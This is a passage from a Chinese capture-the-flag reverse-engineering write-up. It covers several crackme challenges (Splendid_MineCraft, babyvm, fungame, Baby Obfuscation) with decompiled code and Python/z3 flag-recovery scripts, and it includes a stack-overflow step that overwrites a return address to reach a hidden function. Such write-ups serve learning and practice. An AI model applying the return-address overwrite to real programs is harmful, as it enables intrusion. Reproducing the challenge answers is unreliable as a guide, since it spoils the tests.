s.add(x[0]*4 + x[1]*7 + x[2]*9== 2013)
s.add(x[0] + x[1]*8 + x[2]*2 == 1109)
s.add(x[3]*3 + x[4]*2 + x[5]*5 == 671)
s.add(x[3]*4 + x[4]*7 + x[5]*9== 1252)
s.add(x[3] + x[4]*8 + x[5]*2 == 644)

assert s.check() == sat
m = s.model()
flag += bytes([m[i].as_long() for i in x])
print(flag + b"}")

[ACTF新生赛2020]Splendid_MineCraft

ida打开发现主要函数伪c代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
char *v4; // eax
int i; // [esp+14h] [ebp-54h]
char *v7; // [esp+18h] [ebp-50h]
char v8; // [esp+20h] [ebp-48h]
char flag[25]; // [esp+24h] [ebp-44h] BYREF
char v10; // [esp+3Dh] [ebp-2Bh]
int v11; // [esp+44h] [ebp-24h]
__int16 v12; // [esp+48h] [ebp-20h]
char Str1[4]; // [esp+4Ch] [ebp-1Ch]
__int16 v14; // [esp+50h] [ebp-18h]
char v15[6]; // [esp+54h] [ebp-14h] BYREF
char v16[6]; // [esp+5Ch] [ebp-Ch]

printf("%s\n", aWelcomeToActfS);
sub_381050("%s", (char)flag);
if ( strlen(flag) == 26 && !strncmp(flag, "ACTF{", 5u) && v10 == '}' )
{
v10 = 0;
v3 = strtok(flag, "_"); // first split
*(_DWORD *)v15 = *(_DWORD *)(v3 + 5); // flag[5:11]
*(_WORD *)&v15[4] = *(_WORD *)(v3 + 9);
*(_DWORD *)v16 = *(_DWORD *)(v3 + 5);
*(_WORD *)&v16[4] = *(_WORD *)(v3 + 9);
v4 = strtok(0, "_");
v11 = *(_DWORD *)v4; // flag[12:18]
v12 = *((_WORD *)v4 + 2);
v7 = strtok(0, "_");
*(_DWORD *)Str1 = *(_DWORD *)v7; // flag[19:25]
v14 = *((_WORD *)v7 + 2);
dword_383354 = (int)sub_3851D8;
if ( sub_3851D8(v15) )
{
v8 = v16[2] ^ v16[5] ^ v16[0] ^ v16[3] ^ v16[1] ^ v16[4];
for ( i = 0x100; i < 496; ++i )
*((_BYTE *)&loc_385018 + i) ^= v8;
__asm { jmp eax }
}
}
printf("Wrong\n");
return 0;
}

其中strtok函数根据strtok - C++ Reference (cplusplus.com), 可知flag大致格式为

ACTF{??????_??????_??????}

动调进入dword_3851D8处的smc, 得到函数

BOOL __cdecl sub_3851FC(char *a1)
{
char v2[20]; // [esp+0h] [ebp-2Ch] BYREF
char v3[8]; // [esp+14h] [ebp-18h] BYREF
int v4; // [esp+20h] [ebp-Ch]
int v5; // [esp+24h] [ebp-8h]
int i; // [esp+28h] [ebp-4h]

v5 = 0;
qmemcpy(v3, "3@1b;b", 6);
strcpy(v2, "Welcome ");
v4 = 8;
for ( i = 0; i < 6; ++i )
{
v2[i + 12] = (v2[i + 1] ^ v3[i]) + 35;
if ( v2[i + 12] == a1[i] )
++v5;
}
return v5 == 6;
}

写脚本得到第一部分flag: yOu0y*

继续动调, 进入第二部分smc, 其中前面一大段全是将flag存放到某个位置, 关键代码如下

.data:00385158 cmp     edi, 6
.data:0038515B jge short loc_385198
.data:0038515D xor ecx, ecx
.data:0038515F mov cl, [esi+edi]; 这里存放着flag
.data:00385162 and cl, 0FFh
.data:00385165 sub eax, 100h
.data:0038516A xor ebx, ebx
.data:0038516C mov bl, cl
.data:0038516E mov ecx, edi
.data:00385170 add ecx, 83h
.data:00385176 xor ebx, ecx
.data:00385178 mov bl, [eax+ebx]
.data:0038517B jmp short loc_385185
 loc_385185:                             ; CODE XREF: .data:0038517B↑j
.data:00385185 mov cl, [eax+edi+166h]
.data:0038518C cmp bl, cl
.data:0038518E jnz short loc_3851A4
.data:00385190 inc edi
.data:00385191 add eax, 100h
.data:00385196 jmp short loc_385158

该部分大致算法如下, 其中table为以eax存放的值为首地址的256个字节

for i in range(6):
if table[flag2[i] ^ (0x83 + i)] == cmp_data[i]:
continue
else:
# Failed

则解密得到第二部分flagknowo3

第三部分flag校验比较简单,在主函数汇编内可以看到

       push    6               ; MaxCount
.text:003812CB push offset a5mcsm ; "5mcsM<"
.text:003812D0 lea ecx, [ebp+Str1]
.text:003812D3 push ecx ; Str1
.text:003812D4 call ds:strncmp
.text:003812DA add esp, 0Ch
.text:003812DD test eax, eax
.text:003812DF jz short loc_3812F0
.text:003812E1 push offset aWrong ; "Wrong\n"
.text:003812E6 call _printf
.text:003812EB add esp, 4
.text:003812EE jmp short loc_381305

得到第三部分flag5mcsM<

则最终解密脚本如下:

flag = b""

s1 = b"3@1b;b"
s2 = b"Welcome "[1:]
for i,j in zip(s1, s2):
flag += bytes([(i ^ j) + 35])
print(flag)
flag += b"_"

table = [0xF6, 0xA3, 0x5B, 0x9D, 0xE0, 0x95, 0x98, 0x68, 0x8C, 0x65, 0xBB, 0x76, 0x89, 0xD4, 0x09, 0xFD, 0xF3, 0x5C, 0x3C, 0x4C, 0x36, 0x8E, 0x4D, 0xC4, 0x80, 0x44, 0xD6, 0xA9, 0x01, 0x32, 0x77, 0x29, 0x90, 0xBC, 0xC0, 0xA8, 0xD8, 0xF9, 0xE1, 0x1D, 0xE4, 0x67, 0x7D, 0x2A, 0x2C, 0x59, 0x9E, 0x3D, 0x7A, 0x34, 0x11, 0x43, 0x74, 0xD1, 0x62, 0x60, 0x02, 0x4B, 0xAE, 0x99, 0x57, 0xC6, 0x73, 0xB0, 0x33, 0x18, 0x2B, 0xFE, 0xB9, 0x85, 0xB6, 0xD9, 0xDE, 0x7B, 0xCF, 0x4F, 0xB3, 0xD5, 0x08, 0x7C, 0x0A, 0x71, 0x12, 0x06, 0x37, 0xFF, 0x7F, 0xB7, 0x46, 0x42, 0x25, 0xC9, 0xD0, 0x50, 0x52, 0xCE, 0xBD, 0x6C, 0xE5, 0x6F, 0xA5, 0x15, 0xED, 0x64, 0xF0, 0x23, 0x35, 0xE7, 0x0C, 0x61, 0xA4, 0xD7, 0x51, 0x75, 0x9A, 0xF2, 0x1E, 0xEB, 0x58, 0xF1, 0x94, 0xC3, 0x2F, 0x56, 0xF7, 0xE6, 0x86, 0x47, 0xFB, 0x83, 0x5E, 0xCC, 0x21, 0x4A, 0x24, 0x07, 0x1C, 0x8A, 0x5A, 0x17, 0x1B, 0xDA, 0xEC, 0x38, 0x0E, 0x7E, 0xB4, 0x48, 0x88, 0xF4, 0xB8, 0x27, 0x91, 0x00, 0x13, 0x97, 0xBE, 0x53, 0xC2, 0xE8, 0xEA, 0x1A, 0xE9, 0x2D, 0x14, 0x0B, 0xBF, 0xB5, 0x40, 0x79, 0xD2, 0x3E, 0x19, 0x5D, 0xF8, 0x69, 0x39, 0x5F, 0xDB, 0xFA, 0xB2, 0x8B, 0x6E, 0xA2, 0xDF, 0x16, 0xE2, 0x63, 0xB1, 0x20, 0xCB, 0xBA, 0xEE, 0x8D, 0xAA, 0xC8, 0xC7, 0xC5, 0x05, 0x66, 0x6D, 0x3A, 0x45, 0x72, 0x0D, 0xCA, 0x84, 0x4E, 0xF5, 0x31, 0x6B, 0x92, 0xDC, 0xDD, 0x9C, 0x3F, 0x55, 0x96, 0xA1, 0x9F, 0xCD, 0x9B, 0xE3, 0xA0, 0xA7, 0xFC, 0xC1, 0x78, 0x10, 0x2E, 0x82, 0x8F, 0x30, 0x54, 0x04, 0xAC, 0x41, 0x93, 0xD3, 0x3B, 0xEF, 0x03, 0x81, 0x70, 0xA6, 0x1F, 0x22, 0x26, 0x28, 0x6A, 0xAB, 0x87, 0xAD, 0x49, 0x0F, 0xAF]
s3 = [0x30, 0x04, 0x04, 0x03, 0x30, 0x63]
for i in range(6):
t = table.index(s3[i]) ^ (0x83 + i)
flag += bytes([t])
print(flag)

flag += b"_"

flag += b"5mcsM<"
print(b"ACTF{" + flag + "}")

[GWCTF 2019]babyvm

ida打开,根据分析可以得到如下结构体

00000000 VM              struc ; (sizeof=0x88, mappedto_8)
00000000 r0 dd ?
00000004 r1 dd ?
00000008 r2 dd ?
0000000C r3 dd ?
00000010 _ip dq ?
00000018 funs func 7 dup(?)
00000088 VM ends
00000088
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 func struc ; (sizeof=0x10, mappedto_9)
00000000 ; XREF: VM/r
00000000 index db ?
00000001 db ? ; undefined
00000002 db ? ; undefined
00000003 db ? ; undefined
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 fun dq ?
00000010 func ends

与主要函数

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3[2]; // [rsp+10h] [rbp-10h] BYREF

v3[1] = __readfsqword(0x28u);
v3[0] = 0LL;
puts("Please input something:");
init_VM((VM *)v3);
run_VM((VM *)v3);
check();
puts("And the flag is GWHT{true flag}");
exit(0);
}

其中init_VM

void __fastcall init_VM(VM *vm)
{
vm->r0 = 0;
vm->r1 = 18;
vm->r2 = 0;
vm->r3 = 0;
vm->_ip = opcodes;
vm->funs[0].index = 0xF1;
vm->funs[0].fun = memory_operate;
vm->funs[1].index = 0xF2;
vm->funs[1].fun = xor_r0_r1;
vm->funs[2].index = 0xF5;
vm->funs[2].fun = check_flag_length;
vm->funs[3].index = 0xF4;
vm->funs[3].fun = inc_ip;
vm->funs[4].index = 0xF7;
vm->funs[4].fun = mul_r0_r3;
vm->funs[5].index = 0xF8;
vm->funs[5].fun = swap_r0_r1;
vm->funs[6].index = 0xF6;
vm->funs[6].fun = cal;
memory = (char *)malloc(0x512uLL);
memset(memory, 0, 0x512uLL);
}

则可写出脚本得到该虚拟机执行流程

from z3 import *
import struct
opcodes = [ 0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x20, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x21, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x22, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x23,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x24, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x25, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x26, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x27, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x28, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x09, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x29, 0x00, 0x00,
0x00, 0xF1, 0xE1, 0x0A, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x2A, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0B, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x2B, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0C,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2C, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2D,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x2E, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2F, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x10, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x30, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x11, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x31, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x12, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x32, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x13, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x33, 0x00, 0x00,
0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xF1,
0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00,
0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1,
0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00,
0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1,
0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09,
0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6,
0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1,
0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00,
0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E,
0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x11, 0x00, 0x00, 0x00, 0xF4]


class VM:
def __init__(self, opcodes) -> None:
self.opcodes = opcodes
self.r0 = 0
self.r1 = 18
self.r2 = 0
self.r3 = 0
self.ip = 0
self.memory = [0] * 0x512

def memory_operate(self):
v = struct.unpack("<I", bytes(self.opcodes[self.ip + 2:self.ip + 6]))[0]
op = self.opcodes[self.ip + 1]
if op == 0xE1:
self.r0 = self.memory[v]
elif op == 0xE2:
self.r1 = self.memory[v]
elif op == 0xE3:
self.r2 = self.memory[v]
elif op == 0xE4:
self.memory[v] = self.r0
elif op == 0xE5:
self.r3 = self.memory[v]
elif op == 0xE7:
self.memory[v] = self.r1

self.ip += 6

def run(self):
while opcodes[self.ip] != 0xF4:
op = opcodes[self.ip]
if op == 0xF1:
self.memory_operate()
elif op == 0xF2:
self.r0 ^= self.r1
self.ip += 1
elif op == 0xF5: # read flag and check flag length
self.ip += 1
elif op == 0xF4:
self.ip += 1
elif op == 0xF7:
self.r0 *= self.r3
self.ip += 1
elif op == 0xF8:
self.r0, self.r1 = self.r1, self.r0
self.ip += 1
elif op == 0xF6:
self.r0 = self.r2 + 2 * self.r1 + 3 * self.r0
self.ip += 1

x = [BitVec('x%d' % i, 8) for i in range(20)]
s = Solver()
vm = VM(opcodes)

for i in range(20):
vm.memory[i] = x[i]

vm.run()

cmp_data = [0x46, 0x7A, 0x7B, 0x61, 0x4D, 0x7B, 0x61, 0x4D, 0x7C, 0x7D, 0x66, 0x4D, 0x74, 0x7E, 0x73, 0x75, 0x4D, 0x20, 0x21, 0x21, 0x00]

for i in range(20):
s.add(vm.memory[i+32] == cmp_data[i])
assert s.check() == sat
m = s.model()
flag = b""
for i in x:
flag += bytes([m[i].as_long()])
print(flag)

得到假flag

根据提示,对memory进行交叉引用查找找到一个根本没调用的函数

unsigned __int64 sub_F00()
{
int i; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
for ( i = 0; flag_len - 1 > i; ++i )
{
if ( memory[i] != byte_202020[i] )
exit(0);
}
return __readfsqword(0x28u) ^ v2;
}

以及在opcodes下面又得到一串opcodes,

image-20211018162413492

最终得到真flag解密脚本

opcodes = [0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x11, 0x00, 0x00, 0x00, 0xF4]


s = Solver()
x = [BitVec('x%d' % i, 8) for i in range(20)]
vm = VM(opcodes)

for i in range(20):
vm.memory[i] = x[i]

vm.run()

cmp_data = [0x69, 0x45, 0x2A, 0x37, 0x09, 0x17, 0xC5, 0x0B, 0x5C, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5F, 0x33, 0x73, 0x72]
for i in range(len(cmp_data)):
s.add(vm.memory[i] == cmp_data[i])

assert s.check() == sat
m = s.model()
flag = b""
for i in x:
flag += bytes([m[i].as_long()])
print(flag)

[ACTF新生赛2020]fungame

flag分为两部分, 第一部分是简单的异或

int __cdecl sub_401340(char *a1)
{
char i; // [esp+1Fh] [ebp-9h]

printf("Please input:");
scanf("%s", a1);
for ( i = 0; i <= 15; ++i )
{
if ( ((unsigned __int8)a1[i] ^ (unsigned __int8)y1[i]) != y2[i] )
exit(0);
}
return 0;
}

但是flag提交不对,往后看有个栈溢出

int __cdecl sub_4013BA(char *Source)
{
char Destination[12]; // [esp+1Ch] [ebp-Ch] BYREF

strcpy(Destination, Source); // stack overflow
strcpy(x, Source);
return 0;
}

对x进行交叉引用查询

void __noreturn sub_40233D()
{
char Str2[13]; // [esp+13h] [ebp-35h] BYREF
char Str1[16]; // [esp+20h] [ebp-28h] BYREF
char Str[12]; // [esp+30h] [ebp-18h] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]

printf("Please input again:");
strcpy(Str2, "YTFzMF9wV24=");
memset(Str, 0, sizeof(Str));
memset(Str1, 0, sizeof(Str1));
scanf("%s", Str);
v3 = strlen(Str);
sub_402421((int)Str, v3, (int)Str1);
if ( !strcmp(Str1, Str2) )
{
printf("%s%s", x, Str);
exit(0);
}
exit(0);
}

则我们的输入需要跳到第二个校验函数, 根据

-0000000C Destination     db 12 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 Source dd ?

我们需要覆盖r, 则需要往后多输入0x3d,0x23,0x40(小端序)

则解密脚本如下

flag = b""

y2 = [0x71, 0x04, 0x61, 0x58, 0x27, 0x1E, 0x4B, 0x22, 0x5E, 0x64, 0x03, 0x26, 0x5E, 0x17, 0x3C, 0x7A]
y1 = [0x23, 0x61, 0x3E, 0x69, 0x54, 0x41, 0x18, 0x4D, 0x6E, 0x3B, 0x65, 0x53, 0x30, 0x79, 0x45, 0x5B]

s = []
for i, j in zip(y1, y2):
s.append(i ^ j)
print(bytes(s))

import base64
cipher = b"YTFzMF9wV24="
plain = base64.b64decode(cipher)
print(plain)

flag = bytes(s + [0x3d,0x23,0x40]) + plain
print(flag)

[NPUCTF2020]Baby Obfuscation

ida打开看到主要函数, 分析一下使用的函数

F0X1

int __cdecl F0X1(int a, int b)
{
if ( b )
return F0X1(b, a % b);
else
return a;
}

欧几里得算法求最大公约数

F0X2

bool __cdecl F0X2(bool a, bool b)
{
return a == b && !a;
}

相当于与, 两边同时为1时才返回1

F0X3

bool __cdecl F0X3(bool a, bool b)
{
bool v2; // bl
bool v3; // al

v2 = F0X2(b, b);
v3 = F0X2(a, a);
return F0X2(v3, v2);
}

与F0X2同理

F0X4

int __cdecl F0X4(int a, int b)
{
return ~(~a + b);
}

相当于a - b

F0X5

int __cdecl F0X5(int a, int b)
{
int ans; // [rsp+Ch] [rbp-4h]

ans = 1;
while ( b )
{
if ( (b & 1) != 0 )
ans *= a;
a *= a;
b >>= 1;
}
return ans;
}

相当于 a^b (这里^是次方的意思)

Main

则分析函数可得主要加密就红框这三条

image-20211018173703390

实际上就是

s[i] = input[i] - A0X4[(i - 1) % 4]
s[i] ^= A0X4[(i - 1) % 4]
s[i] *= 10

解密脚本如下

A0X6 = [0x0, 0x00001E79, 0x00001E79, 0x00002135, 0x0000170D, 0x00001F41, 0x00001901, 0x00002CED, 0x000011F9, 0x00002649, 0x00002581, 0x00002DB5, 0x000014B5, 0x000025E5, 0x00002A31, 0x000030D5]
def F0X4(a, b):
return ~(~a + b) & 0xffffffff
A0X = []
for i in A0X6:
A0X.append(F0X4(i, 1) // 10)
print(A0X)

A0X4=[2,3,4,5]
for i in range(1, len(A0X)):
A0X[i] //= 10
A0X[i] ^= A0X4[(i - 1) % 4]
A0X[i] += A0X4[(i - 1) % 4]
A0X[i] &= 0xff

print(bytes(A0X[1:]))

jadx打开,看到一个图片

image-20211018180801689

写脚本解析一下

import base64
s = base64.b64decode("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